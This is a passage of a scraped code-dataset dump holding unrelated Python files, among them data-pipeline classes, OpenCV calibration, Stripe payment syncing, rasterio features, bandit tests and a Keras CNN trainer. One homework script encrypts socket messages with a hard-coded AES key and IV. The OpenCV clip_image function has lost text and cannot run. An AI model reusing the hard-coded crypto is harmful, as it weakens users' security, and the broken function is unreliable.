parse_results.get(HeaderGrammar.EPOCH),\n \"Hostname parsing failed\")\n\n self.assertEqual(\n \"600\",\n parse_results.get(HeaderGrammar.LOG_INTERVAL),\n \"Hostname parsing failed\")\n\nif __name__ == \"__main__\":\n # import sys;sys.argv = ['', 'Test.testName']\n unittest.main()\n","sub_path":"tests/headergrammartests.py","file_name":"headergrammartests.py","file_ext":"py","file_size_in_byte":900,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"141706855","text":"\nimport data_algebra.data_ops\nimport data_algebra.flow_text\n\n\nclass Arrow:\n \"\"\"Arrow from category theory: see Steve Awody, \"Category Theory, 2nd Edition\", Oxford Univ. Press, 2010 pg. 4.\"\"\"\n\n def __init__(self):\n pass\n\n def dom(self):\n \"\"\"return domain, object at base of arrow\"\"\"\n raise NotImplementedError(\"base class called\")\n\n def cod(self):\n \"\"\"return co-domain, object at head of arrow\"\"\"\n raise NotImplementedError(\"base class called\")\n\n def identity_arrow(self, obj):\n \"\"\"convert object to an identity arrow \"\"\"\n raise NotImplementedError(\"base class called\")\n\n # noinspection PyPep8Naming\n def transform(self, X, *, strict=True):\n \"\"\" transform X, compose arrows (right to left) \"\"\"\n raise NotImplementedError(\"base class called\")\n\n def __rshift__(self, other): # override self >> other\n return other.transform(self, strict=True)\n\n def __rrshift__(self, other): # override other >> self\n return self.transform(other, strict=True)\n\n\nclass DataOpArrow(Arrow):\n \"\"\" Represent a section of operators as a categorical arrow.\"\"\"\n\n def __init__(self, pipeline, *, free_table_key=None):\n if not isinstance(pipeline, data_algebra.data_ops.ViewRepresentation):\n raise TypeError(\"expected pipeline to be data_algebra.data_ops\")\n self.pipeline = pipeline\n t_used = pipeline.get_tables()\n if free_table_key is None:\n if len(t_used) != 1:\n raise ValueError(\"pipeline must use exactly one table if free_table_key is not specified\")\n free_table_key = [k for k in t_used.keys()][0]\n else:\n if free_table_key not in t_used.keys():\n raise ValueError(\"free_table_key must be a table key used in the pipeline\")\n c_used = pipeline.columns_used()\n self.free_table_key = free_table_key\n self.incoming_columns = c_used[free_table_key]\n self.incoming_types = t_used[free_table_key].column_types\n self.outgoing_columns = pipeline.column_names\n self.outgoing_types = None\n Arrow.__init__(self)\n\n # noinspection PyPep8Naming\n def transform(self, X, *, strict=True):\n \"\"\"replace self input table with X\"\"\"\n if isinstance(X, data_algebra.data_ops.ViewRepresentation):\n X = DataOpArrow(X)\n if isinstance(X, DataOpArrow):\n missing = set(self.incoming_columns) - set(X.outgoing_columns)\n if len(missing) > 0:\n raise ValueError(\"missing required columns: \" + str(missing))\n excess = set(X.outgoing_columns) - set(self.incoming_columns)\n if len(excess):\n if strict:\n raise ValueError(\"extra incoming columns: \" + str(excess))\n # extra columns, in a strict categorical formulation we would\n # reject this. instead insert a select columns node to get the match\n x_outgoing_types = X.outgoing_types\n X = DataOpArrow(X.pipeline.select_columns([c for c in self.incoming_columns]))\n if x_outgoing_types is not None:\n X.outgoing_types = {k: x_outgoing_types[k] for k in X.outgoing_columns}\n # check categorical arrow composition conditions\n if set(self.incoming_columns) != set(X.outgoing_columns):\n raise ValueError(\"arrow composition conditions not met (incoming column set doesn't match outgoing)\")\n if (self.incoming_types is not None) and (X.outgoing_types is not None):\n for c in self.incoming_columns:\n st = self.incoming_types[c]\n xt = X.outgoing_types[c]\n if st != xt:\n raise ValueError(\"column \" + c +\n \" self incoming type is \" + str(st) +\n \", while X outgoing type is \" + str(xt))\n res = DataOpArrow(X.pipeline.stand_in_for_table(ops=self.pipeline, table_key=self.free_table_key))\n res.incoming_types = X.incoming_types\n res.outgoing_types = self.outgoing_types\n return res\n if isinstance(X, list) or isinstance(X, tuple) or isinstance(X, set):\n # schema type object\n if set(self.incoming_columns) != set(X):\n raise ValueError(\"input did not match arrow dom()\")\n return self.cod()\n if isinstance(X, dict):\n # schema type object\n if set(self.incoming_columns) != set(X.keys()):\n raise ValueError(\"input did not match arrow dom()\")\n if self.incoming_types is not None:\n for c in self.incoming_columns:\n st = self.incoming_types[c]\n xt = X[c]\n if st != xt:\n raise ValueError(\"column \" + c +\n \" self incoming type is \" + str(st) +\n \", while X outgoing type is \" + str(xt))\n return self.cod()\n # assume a pandas.DataFrame compatible object\n cols = set(X.columns)\n missing = set(self.incoming_columns) - cols\n if len(missing) > 0:\n raise ValueError(\"missing required columns: \" + str(missing))\n excess = cols - set(self.incoming_columns)\n if len(excess):\n if strict:\n raise ValueError(\"extra incoming columns: \" + str(excess))\n X = X[self.incoming_columns]\n return self.pipeline.transform(X)\n\n def learn_types(self, data_in, data_out):\n if data_in.shape[0] > 0:\n types_in = {k: type(data_in.loc[0, k]) for k in self.incoming_columns}\n self.incoming_types = types_in\n if data_out.shape[0] > 0:\n types_out = {k: type(data_out.loc[0, k]) for k in self.outgoing_columns}\n self.outgoing_types = types_out\n\n # noinspection PyPep8Naming\n def fit(self, X):\n \"\"\"Learn input and output types from example, and return self\"\"\"\n # assume a pandas.DataFrame compatible object\n out = self.transform(X)\n self.learn_types(X, out)\n return self\n\n # noinspection PyPep8Naming\n def fit_transform(self, X):\n \"\"\"Learn input and output types from example, and return transform.\"\"\"\n out = self.transform(X)\n self.learn_types(X, out)\n return self.transform(X)\n\n def dom(self):\n if self.incoming_types is not None:\n return self.incoming_types.copy()\n return self.incoming_columns.copy()\n\n def cod(self):\n if self.incoming_types is not None:\n return self.outgoing_types.copy()\n return self.outgoing_columns.copy()\n\n def __repr__(self):\n return \"DataOpArrow(\\n \" + self.pipeline.__repr__() + \\\n \",\\n free_table_key=\" + self.free_table_key.__repr__() + \")\"\n\n def __str__(self):\n align_right = 70\n sep_width = 2\n if self.incoming_types is not None:\n in_rep = [str(k) + ': ' + str(v) for (k, v) in self.incoming_types.items()]\n else:\n in_rep = [str(c) for c in self.incoming_columns]\n in_rep = data_algebra.flow_text.flow_text(in_rep,\n align_right=align_right, sep_width=sep_width)\n in_rep = [', '.join(line) for line in in_rep]\n in_rep = ' [ ' + ',\\n '.join(in_rep) + ' ]'\n if self.outgoing_types is not None:\n out_rep = [str(k) + ': ' + str(v) for (k, v) in self.outgoing_types.items()]\n else:\n out_rep = [str(c) for c in self.outgoing_columns]\n out_rep = data_algebra.flow_text.flow_text(out_rep,\n align_right=align_right, sep_width=sep_width)\n out_rep = [', '.join(line) for line in out_rep]\n out_rep = ' [ ' + ',\\n '.join(out_rep) + ' ]'\n return \"[\\n \" + \\\n self.free_table_key.__repr__() + \":\\n \" + \\\n in_rep + \"\\n ->\\n \" + out_rep + \"\\n]\\n\"\n\n\ndef identity_arrow(obj):\n \"\"\"build identity arrow from object\"\"\"\n if isinstance(obj, data_algebra.data_ops.TableDescription):\n return DataOpArrow(obj)\n if isinstance(obj, list) or isinstance(obj, tuple) or isinstance(obj, set):\n td = data_algebra.data_ops.TableDescription(\"obj\", [c for c in obj])\n return DataOpArrow(td)\n if isinstance(obj, dict):\n td = data_algebra.data_ops.TableDescription(\"obj\", obj.keys(), column_types=obj)\n res = DataOpArrow(td)\n res.outgoing_types = obj.copy()\n return res\n raise TypeError(\"unexpected type: \" + str(type(obj)))\n","sub_path":"data_algebra/arrow.py","file_name":"arrow.py","file_ext":"py","file_size_in_byte":8753,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"145101202","text":"#coding: UTF-8\n#include \"windows.h\"\nimport cv2\nimport numpy as np\nimport time\nfrom operator import itemgetter\n\n#射影変換行列を計算するキャリブレーション用関数\ndef calibration(areas):\n pts1 = np.float32([[446,171],[790,173],[446,514],[788,514]]) #areasと同じ順 (左上,右上,左下,右下)\n #areasの格納が普通の配列じゃないので,配列に書き直す.\n x0=areas[0][0][0][0]\n y0=areas[0][0][0][1]\n x1=areas[0][1][0][0]\n y1=areas[0][1][0][1]\n x2=areas[0][2][0][0]\n y2=areas[0][2][0][1]\n x3=areas[0][3][0][0]\n y3=areas[0][3][0][1]\n p0 = [x0,y0]\n p1 = [x1,y1]\n p2 = [x2,y2]\n p3 = [x3,y3]\n area = [p0,p1,p2,p3]\n #areasの4つの座標を左上,右上,左下,右下の順で並び替える.台形の場合x座標の順で一意に決定\n #np.float32リストに対してitemgetterは使えないらしい\n area.sort(key=itemgetter(0))\n #スケール変換変換\n k = (pts1[3][0]-pts1[2][0])/(area[2][0]-area[1][0])\n h = (area[1][1]-area[0][1])*k\n delta = (area[1][0]-area[0][0])*k\n x1 = pts1[2]+[-delta,-h]\n x2 = pts1[3]+[delta,-h]\n pts2 = np.float32([x1,x2,pts1[2],pts1[3]])\n M = cv2.getPerspectiveTransform(pts1,pts2)\n return M\n\n\n#台形補正画像を生成する関数\ndef revision(M,img):\n inv_M =np.linalg.inv(M)\n dst = cv2.warpPerspective(img,inv_M,(0,800))\n return dst\n\n#ターゲット(黄色)の輪郭を取ってくる関数\ndef getTarget(image):\n # Convert BGR to HSV and smooth\n hsv = cv2.cvtColor(image, cv2.COLOR_BGR2HSV)\n smooth=cv2.GaussianBlur(hsv,(15,15),0)\n #黄色\n lower_blue = np.array([25,100,85])\n upper_blue = np.array([100,255,255])\n\n # Threshold the HSV image to get only blue colors\n mask = cv2.inRange(smooth, lower_blue, upper_blue)\n\n # Bitwise-AND mask and original image(白黒画像の中で,白の部分だけ筒抜けになって映る)\n res = cv2.bitwise_and(image,image, mask= mask)\n image,contours, hierarchy = cv2.findContours(mask, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n areas = []\n contours.sort(key=cv2.contourArea,reverse=True)\n if contours:\n cnt = contours[0]\n epsilon = 0.08*cv2.arcLength(cnt,True)\n approx = cv2.approxPolyDP(cnt,epsilon,True)\n areas.append(approx)\n else:\n cnt = []\n return areas,res,cnt,\n\n#台形補正用にwebcameraから輪郭をとってくる.\ndef getBlue(frame):\n # Convert BGR to HSV and smooth\n hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)\n smooth=cv2.GaussianBlur(hsv,(15,15),0)\n\n # define range of blue color in HSV (第1引数を110〜130→90〜140に変更)\n lower_blue = np.array([90,50,50])\n upper_blue = np.array([140,255,255])\n\n # Threshold the HSV image to get only blue colors\n mask = cv2.inRange(smooth, lower_blue, upper_blue)\n\n # Bitwise-AND mask and original image(白黒画像の中で,白の部分だけ筒抜けになって映る)\n res = cv2.bitwise_and(frame,frame, mask= mask)\n image,contours, hierarchy = cv2.findContours(mask, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n areas = []\n contours.sort(key=cv2.contourArea,reverse=True)\n if contours:\n cnt = contours[0]\n epsilon = 0.08*cv2.arcLength(cnt,True)\n approx = cv2.approxPolyDP(cnt,epsilon,True)\n areas.append(approx)\n else:\n cnt = []\n return areas,res,cnt,\n\n#輪郭の重心を計算\ndef center_of_image(image):\n areas,_,_ = getTarget(image)\n if areas:\n M = cv2.moments(areas[0])\n x = int(M['m10']/M['m00'])\n y = int(M['m01']/M['m00'])\n else:\n x=0\n y=0\n return x,y\n\n\n#backをforeを中心から(x,y)移動させて重ね合わせる\ndef clip_image(x, y):\n global back\n h1, w1, _ = back.shape\n h2, w2, _ = img.shape\n X = int((w1-w2)/2)\n Y = int((h1-h2)/2)\n if abs(x)< X and abs(y)=X and abs(y)=X and abs(y)=Y:\n back[Y+Y:Y+h2+Y,X+x:X+w2+x] = img\n #-yではみ出す,\n elif abs(x)Y:\n back[0:h2,X+x:X+w2+x] = img\n #+x,+yではみ出す,\n elif x >=X and y>=Y:\n back[Y+Y:Y+h2+Y,X+X:X+X+w2] = img\n #-x,+yではみ出す,\n elif -x >=X and y>=Y:\n back[Y+Y:Y+h2+Y,0:w2] = img\n #+x,+yではみ出す,\n elif x >=X and y>=Y:\n back[Y:Y+h2+Y,X+X:X+X+w2] = img\n #+x,-yではみ出す,\n elif x >=X and -y>=Y:\n back[0:h2,X+X:X+X+w2] = img\n\n\n\n#imgに青い輪郭がないものを選ぶとエラーが出る.\n#img = cv2.imread(\"bluerect2.png\",1)\nimg = cv2.imread(\"blue.png\",1)\n\nback = cv2.imread(\"back.png\",1)\n\ntest = cv2.imread(\"calibration.jpg\",1)\ncv2.namedWindow(\"img\", cv2.WND_PROP_FULLSCREEN)\nareas0,res0,_= getTarget(img)\ncv2.drawContours(res0, areas0, -1, (0,0,255), 3)\ncv2.imshow(\"img0\",img)\n\n#↓ラズパイ(opencv2)の方でやらないとなぜか動かない(PCはopencv3)\n#cv2.setWindowProperty(\"img\", cv2.WND_PROP_FULLSCREEN, cv2.cv.CV_WINDOW_FULLSCREEN)\n\ncapture = cv2.VideoCapture(0)\n\ncount = 0\nl = []\nm = []\n# isOpenedの代わりにTrueを使うと,frameがemptyのときエラーを吐く\nwhile capture.isOpened():\n ret, frame = capture.read()\n\n if ret :\n #frameから輪郭をとる\n areas,res,_= getBlue(frame)\n cv2.imshow(\"test\",test)\n if len(areas[0])==4 :\n #輪郭を書き込む\n cv2.drawContours(res, areas, -1, (0,0,255), 3)\n cv2.imshow('test',test)\n\n cv2.imshow('res',res)\n #webカメラ上の輪郭を取得,台形補正画像生成\n # pts1,pts2,x1,x2,k,delta1,h1,h2,area = getPts(areas)\n # dst = revision(pts1,pts2,img)\n #cv2.imshow(\"dst\",dst)\n\n#waitKeyの引数を0以下にするとキー入力する毎に画面がframeが更新する.\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\ncapture.release()\ncv2.destroyAllWindows()\n","sub_path":"test2test.py","file_name":"test2test.py","file_ext":"py","file_size_in_byte":6194,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"49855342","text":"import json\n\nfrom blight.actions import FindOutputs\nfrom blight.actions.find_outputs import OutputKind\nfrom blight.tool import CC\n\n\ndef test_find_outputs(tmp_path):\n output = tmp_path / \"outputs.jsonl\"\n\n find_outputs = FindOutputs({\"output\": output})\n cc = CC([\"-o\", \"foo\", \"foo.c\"])\n find_outputs.before_run(cc)\n\n outputs = json.loads(output.read_text())[\"outputs\"]\n assert outputs[OutputKind.Executable.value] == [str(cc.cwd / \"foo\")]\n\n\ndef test_find_outputs_multiple(tmp_path):\n fake_cs = [tmp_path / fake_c for fake_c in [\"foo.c\", \"bar.c\", \"baz.c\"]]\n [fake_c.touch() for fake_c in fake_cs]\n\n output = tmp_path / \"outputs.jsonl\"\n\n find_outputs = FindOutputs({\"output\": output})\n cc = CC([\"-c\", *[str(fake_c) for fake_c in fake_cs]])\n find_outputs.before_run(cc)\n\n outputs = json.loads(output.read_text())[\"outputs\"]\n assert outputs[OutputKind.Object.value] == [\n str(cc.cwd / fake_c.with_suffix(\".o\").name) for fake_c in fake_cs\n ]\n\n\ndef test_find_outputs_handles_a_out(tmp_path):\n output = tmp_path / \"outputs.jsonl\"\n\n find_outputs = FindOutputs({\"output\": output})\n cc = CC([\"foo.c\"])\n find_outputs.before_run(cc)\n\n outputs = json.loads(output.read_text())[\"outputs\"]\n assert outputs[OutputKind.Executable.value] == [str(cc.cwd / \"a.out\")]\n","sub_path":"test/actions/test_find_outputs.py","file_name":"test_find_outputs.py","file_ext":"py","file_size_in_byte":1315,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"323321633","text":"from .. import models\nfrom .. import utils\n\n\ndef create_card(customer, token):\n \"\"\"\n Creates a new card for a customer\n\n Args:\n customer: the customer to create the card for\n token: the token created from Stripe.js\n \"\"\"\n source = customer.stripe_customer.sources.create(source=token)\n return sync_payment_source_from_stripe_data(customer, source)\n\n\ndef delete_card(customer, source):\n \"\"\"\n Deletes a card from a customer\n\n Args:\n customer: the customer to delete the card from\n source: the Stripe ID of the payment source to delete\n \"\"\"\n customer.stripe_customer.sources.retrieve(source).delete()\n return delete_card_object(source)\n\n\ndef delete_card_object(source):\n \"\"\"\n Deletes the local card object (Card)\n\n Args:\n source: the Stripe ID of the card\n \"\"\"\n if source.startswith(\"card_\"):\n return models.Card.objects.filter(stripe_id=source).delete()\n\n\ndef sync_card(customer, source):\n \"\"\"\n Syncronizes the data for a card locally for a given customer\n\n Args:\n customer: the customer to create or update a card for\n source: data reprenting the card from the Stripe API\n \"\"\"\n defaults = dict(\n customer=customer,\n name=source[\"name\"] or \"\",\n address_line_1=source[\"address_line1\"] or \"\",\n address_line_1_check=source[\"address_line1_check\"] or \"\",\n address_line_2=source[\"address_line2\"] or \"\",\n address_city=source[\"address_city\"] or \"\",\n address_state=source[\"address_state\"] or \"\",\n address_country=source[\"address_country\"] or \"\",\n address_zip=source[\"address_zip\"] or \"\",\n address_zip_check=source[\"address_zip_check\"] or \"\",\n brand=source[\"brand\"],\n country=source[\"country\"] or \"\",\n cvc_check=source[\"cvc_check\"] or \"\",\n dynamic_last4=source[\"dynamic_last4\"] or \"\",\n exp_month=source[\"exp_month\"],\n exp_year=source[\"exp_year\"],\n funding=source[\"funding\"] or \"\",\n last4=source[\"last4\"] or \"\",\n fingerprint=source[\"fingerprint\"] or \"\"\n )\n card, created = models.Card.objects.get_or_create(\n stripe_id=source[\"id\"],\n defaults=defaults\n )\n return utils.update_with_defaults(card, defaults, created)\n\n\ndef sync_bitcoin(customer, source):\n \"\"\"\n Syncronizes the data for a Bitcoin receiver locally for a given customer\n\n Args:\n customer: the customer to create or update a Bitcoin receiver for\n source: data reprenting the Bitcoin receiver from the Stripe API\n \"\"\"\n defaults = dict(\n customer=customer,\n active=source[\"active\"],\n amount=utils.convert_amount_for_db(source[\"amount\"], source[\"currency\"]),\n amount_received=utils.convert_amount_for_db(source[\"amount_received\"], source[\"currency\"]),\n bitcoin_amount=source[\"bitcoin_amount\"],\n bitcoin_amount_received=source[\"bitcoin_amount_received\"],\n bitcoin_uri=source[\"bitcoin_uri\"],\n currency=source[\"currency\"],\n description=source[\"description\"],\n email=source[\"email\"],\n filled=source[\"filled\"],\n inbound_address=source[\"inbound_address\"],\n payment=source[\"payment\"] if \"payment\" in source else \"\",\n refund_address=source[\"refund_address\"] or \"\",\n uncaptured_funds=source[\"uncaptured_funds\"],\n used_for_payment=source[\"used_for_payment\"]\n )\n receiver, created = models.BitcoinReceiver.objects.get_or_create(\n stripe_id=source[\"id\"],\n defaults=defaults\n )\n return utils.update_with_defaults(receiver, defaults, created)\n\n\ndef sync_payment_source_from_stripe_data(customer, source):\n \"\"\"\n Syncronizes the data for a payment source locally for a given customer\n\n Args:\n customer: the customer to create or update a Bitcoin receiver for\n source: data reprenting the payment source from the Stripe API\n \"\"\"\n if source[\"id\"].startswith(\"card_\"):\n return sync_card(customer, source)\n else:\n return sync_bitcoin(customer, source)\n\n\ndef update_card(customer, source, name=None, exp_month=None, exp_year=None):\n \"\"\"\n Updates a card for a given customer\n\n Args:\n customer: the customer for whom to update the card\n source: the Stripe ID of the card to update\n name: optionally, a name to give the card\n exp_month: optionally, the expiration month for the card\n exp_year: optionally, the expiration year for the card\n \"\"\"\n stripe_source = customer.stripe_customer.sources.retrieve(source)\n if name is not None:\n stripe_source.name = name\n if exp_month is not None:\n stripe_source.exp_month = exp_month\n if exp_year is not None:\n stripe_source.exp_year = exp_year\n s = stripe_source.save()\n return sync_payment_source_from_stripe_data(customer, s)\n","sub_path":"pinax/stripe/actions/sources.py","file_name":"sources.py","file_ext":"py","file_size_in_byte":4869,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"445122607","text":"from genrl import (\n GaussianBandit,\n BernoulliBandit,\n EpsGreedyPolicy,\n UCBPolicy,\n SoftmaxActionSelectionPolicy,\n BayesianUCBPolicy,\n ThompsonSamplingPolicy,\n)\n\n\nclass TestBandit:\n def test_eps_greedy_gaussian(self) -> None:\n bandit = GaussianBandit(arms=10)\n policy = EpsGreedyPolicy(bandit)\n policy.learn(10)\n\n def test_ucb_gaussian(self) -> None:\n bandit = GaussianBandit(arms=10)\n policy = UCBPolicy(bandit)\n policy.learn(10)\n\n def test_softmax_gaussian(self) -> None:\n bandit = GaussianBandit(arms=10)\n policy = SoftmaxActionSelectionPolicy(bandit)\n policy.learn(10)\n\n def test_eps_greedy_bernoulli(self) -> None:\n bandit = BernoulliBandit(arms=10)\n policy = EpsGreedyPolicy(bandit)\n policy.learn(10)\n\n def test_ucb_bernoulli(self) -> None:\n bandit = BernoulliBandit(arms=10)\n policy = UCBPolicy(bandit)\n policy.learn(10)\n\n def test_bayesian_ucb_bernoulli(self) -> None:\n bandit = BernoulliBandit(arms=10)\n policy = BayesianUCBPolicy(bandit)\n policy.learn(10)\n\n def test_thompson_sampling_bernoulli(self) -> None:\n bandit = BernoulliBandit(arms=10)\n policy = ThompsonSamplingPolicy(bandit)\n policy.learn(10)\n","sub_path":"tests/test_classical/test_bandits.py","file_name":"test_bandits.py","file_ext":"py","file_size_in_byte":1305,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"580737242","text":"import socket\nfrom Crypto.Cipher import AES\nblock_size = 16\n\n# CREDIT: http://python-guide-pt-br.readthedocs.io/en/latest/scenarios/crypto/ for encrypt/decrypt\n# CREDIT: http://programmerin.blogspot.co.il/2011/08/python-padding-with-pkcs7.html for padding\n\n# Encryption\nencryption_suite = AES.new('This is a key123', AES.MODE_CBC, 'This is an IV456')\n\ndef encrypt(message):\n\t# padding first\n text_length = len(message)\n amount_to_pad = block_size - (text_length % block_size)\n if amount_to_pad == 0:\n amount_to_pad = block_size\n pad = chr(amount_to_pad)\n padded_message = message + pad * amount_to_pad\n # Now encrypt\n return encryption_suite.encrypt(padded_message)\n\ndef send_message(ip, port):\n connection = socket.socket()\n try:\n connection.connect((ip, port))\n connection.send(encrypt('I love you'))\n finally:\n connection.close()\n\n\ndef main():\n send_message('127.0.0.1', 1984)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"9_network2/q2/a/winston.py","file_name":"winston.py","file_ext":"py","file_size_in_byte":981,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"452105090","text":"#-*- coding: utf-8 -*-\n#===========================================================\n# Author: Sha0hua\n# E-mail: shi.sh@foxmail.com\n# Modified Date: 2019-06-21\n#===========================================================\nimport code128\nfrom PIL import Image,ImageDraw,ImageFont\nimport re\n\nwith open('roll.txt','r') as roll:\n\tfor i in roll:\n\t\ti=i.strip().strip('\\n')\n\t\t\n\t\t'''i_lst=list(i)\n\t\tfstN=re.findall(r'\\d',i)[0]\n\t\tpstn=i_lst.index(fstN)\n\t\ti_lst.insert(pstn,'1')\n\t\ti_new=''.join(i_lst)\n\t\tprint (i_new)'''\n\t\t\n\t\t#code128.image(\"LX14164152\").save(\"LX14164152.jpg\")\n\t\tttfont = ImageFont.truetype(\"C:\\Windows\\Fonts\\Arial.ttf\",20)\n\t\tbar = code128.image(i)\n\t\torg_width, org_height = bar.size\n\t\tprint (org_width, ' ', org_height)\n\t\t\n\t\tnew_im = Image.new(\"RGB\", (org_width, org_height+90),\"white\")#396,200\n\t\tnew_im.paste(bar,(0,35))#30\n\t\tdraw = ImageDraw.Draw(new_im)\n\t\tw, h = draw.textsize(i,font=ttfont)\n\t\tdraw.text((org_width/2-w/2,org_height+50),i,fill=\"black\",font=ttfont)\n\t\t#new_im.show()\n\t\tnew_im.save('%s.jpg'%i)\n","sub_path":"barcodeShi.py","file_name":"barcodeShi.py","file_ext":"py","file_size_in_byte":1016,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"16560803","text":"# %load q01_plot/build.py\n# Default imports\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport pandas as pd\n\ndata = pd.read_csv('data/house_prices_multivariate.csv')\n\n# Write your code here:\ndef plot(num_cols):\n LotArea=data['LotArea']\n GarageArea=data['GarageArea']\n OpenPorchSF=data['OpenPorchSF']\n SalePrice=data['SalePrice']\n sns.distplot(LotArea, bins=25)\n sns.distplot(GarageArea, bins=25)\n sns.distplot(OpenPorchSF, bins=25)\n sns.distplot(SalePrice, bins=25)\n \n\n","sub_path":"q01_plot/build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"135407517","text":"\"\"\"Functions for working with features in a raster dataset.\"\"\"\n\nimport json\nimport time\nimport numpy\nimport rasterio\nfrom rasterio._features import _shapes, _sieve, _rasterize\n\n\nDEFAULT_TRANSFORM = [0, 1, 0, 0, 0, 1]\n\n\ndef shapes(image, mask=None, connectivity=4, transform=DEFAULT_TRANSFORM):\n \"\"\"Yields a (shape, image_value) pair for each feature in the image.\n \n The shapes are GeoJSON-like dicts and the image values are ints.\n \n Features are found using a connected-component labeling algorithm.\n\n The image must be of unsigned 8-bit integer (rasterio.byte or\n numpy.uint8) data type. If a mask is provided, pixels for which the\n mask is `False` will be excluded from feature generation.\n \"\"\"\n if image.dtype.type != rasterio.ubyte:\n raise ValueError(\"Image must be dtype uint8/ubyte\")\n\n if mask is not None and mask.dtype.type != rasterio.bool_:\n raise ValueError(\"Mask must be dtype rasterio.bool_\")\n\n if connectivity not in (4, 8):\n raise ValueError(\"Connectivity Option must be 4 or 8\")\n\n with rasterio.drivers():\n for s, v in _shapes(image, mask, connectivity, transform):\n yield s, v\n\n\ndef sieve(image, size, connectivity=4, output=None):\n \"\"\"Returns a copy of the image, but with smaller features removed.\n\n Features smaller than the specified size have their pixel value\n replaced by that of the largest neighboring features.\n \n The image must be of unsigned 8-bit integer (rasterio.byte or\n numpy.uint8) data type.\n \"\"\"\n if image.dtype.type != rasterio.ubyte:\n raise ValueError(\"Image must be dtype uint8/ubyte\")\n\n if output is not None and output.dtype.type != rasterio.ubyte:\n raise ValueError(\"Output must be dtype uint8/ubyte\")\n\n with rasterio.drivers():\n return _sieve(image, size, connectivity)\n\n\ndef rasterize(\n shapes, \n out_shape=None, fill=0, output=None,\n transform=DEFAULT_TRANSFORM,\n all_touched=False,\n default_value=255):\n \"\"\"Returns an image array with points, lines, or polygons burned in.\n\n A different value may be specified for each shape. The shapes may\n be georeferenced or may have image coordinates. An existing image\n array may be provided, or one may be created. By default, the center\n of image elements determines whether they are updated, but all\n touched elements may be optionally updated.\n\n :param shapes: an iterator over Fiona style geometry objects (with\n a default value of 255) or an iterator over (geometry, value) pairs.\n Values must be unsigned integer type (uint8).\n\n :param transform: GDAL style geotransform to be applied to the\n image.\n\n :param out_shape: shape of created image array\n :param fill: fill value for created image array\n :param output: alternatively, an existing image array\n\n :param all_touched: if True, will rasterize all pixels touched, \n otherwise will use GDAL default method.\n :param default_value: value burned in for shapes if not provided as part of shapes. Must be unsigned integer type (uint8).\n \"\"\"\n\n if not isinstance(default_value, int) or default_value > 255 or default_value < 0:\n raise ValueError(\"default_value %s is not uint8/ubyte\" % default_value)\n\n geoms = []\n for index, entry in enumerate(shapes):\n if isinstance(entry, (tuple, list)):\n geometry, value = entry\n if not isinstance(value, int) or value > 255 or value < 0:\n raise ValueError(\n \"Shape number %i, value '%s' is not uint8/ubyte\" % (\n index, value))\n geoms.append((geometry, value))\n else:\n geoms.append((entry, default_value))\n \n if out_shape is not None:\n out = numpy.empty(out_shape, dtype=rasterio.ubyte)\n out.fill(fill)\n elif output is not None:\n if output.dtype.type != rasterio.ubyte:\n raise ValueError(\"Output image must be dtype uint8/ubyte\")\n out = output\n else:\n raise ValueError(\"An output image must be provided or specified\")\n\n with rasterio.drivers():\n _rasterize(geoms, out, transform, all_touched)\n \n return out\n\n","sub_path":"rasterio/features.py","file_name":"features.py","file_ext":"py","file_size_in_byte":4213,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"585524475","text":"import numpy as np\nimport pickle\nimport keras\n\ndef CNN_model(num_cnn_layers = 1, num_layers = 5, num_units = 1000, pool_size = (2,2),filters = 128,kernel_size = 7,num_outputs=15):\n model = keras.models.Sequential()\n model.add(keras.layers.Conv2D(filters=filters,kernel_size=kernel_size,activation = \"relu\",input_shape = (256,256,1)))\n model.add(keras.layers.MaxPooling2D(pool_size=pool_size))\n for _ in range(num_cnn_layers-1):\n model.add(keras.layers.Conv2D(filters=filters,kernel_size=kernel_size,activation = \"relu\"))\n model.add(keras.layers.MaxPooling2D(pool_size=pool_size))\n \n for _ in range(num_layers):\n model.add(keras.layers.Dense(num_units,activation=\"relu\"))\n model.add(keras.layers.Dropout(0.4))\n \n model.add(keras.layers.Flatten())\n model.add(keras.layers.Dense(num_outputs,activation=\"softmax\"))\n model.compile(optimizer = keras.optimizers.Adam(learning_rate=0.01),loss = \"categorical_crossentropy\",metrics=[\"accuracy\"])\n return model\n\n\nwith open(\"bin_files/train.pkl\",'rb') as f:\n\tX_train_scale,y_train = pickle.load(f)\n\nwith open(\"bin_files/val.pkl\",'rb') as f:\n\tX_val_scale,y_val = pickle.load(f)\n\nwith open(\"bin_files/test.pkl\",'rb') as f:\n\tX_test_scale,y_test = pickle.load(f)\n\n\nmodel = CNN_model(num_cnn_layers=3,num_layers=2,num_units=50)\nprint(model.summary())\nhistory = model.fit(X_train_scale,y_train,batch_size=100,epochs= 10,verbose=1,validation_data=(X_val_scale,y_val))\n\nwith open('bin_files/trainHistoryDict', 'wb') as file_pi:\n\tpickle.dump(history.history, file_pi)# serialize model to YAML\n\nmodel_yaml = model.to_yaml()\nwith open(\"bin_files/model.yaml\", \"w\") as yaml_file:\n yaml_file.write(model_yaml)\n# serialize weights to HDF5\nmodel.save_weights(\"bin_files/model.h5\")\nprint(\"Saved model to 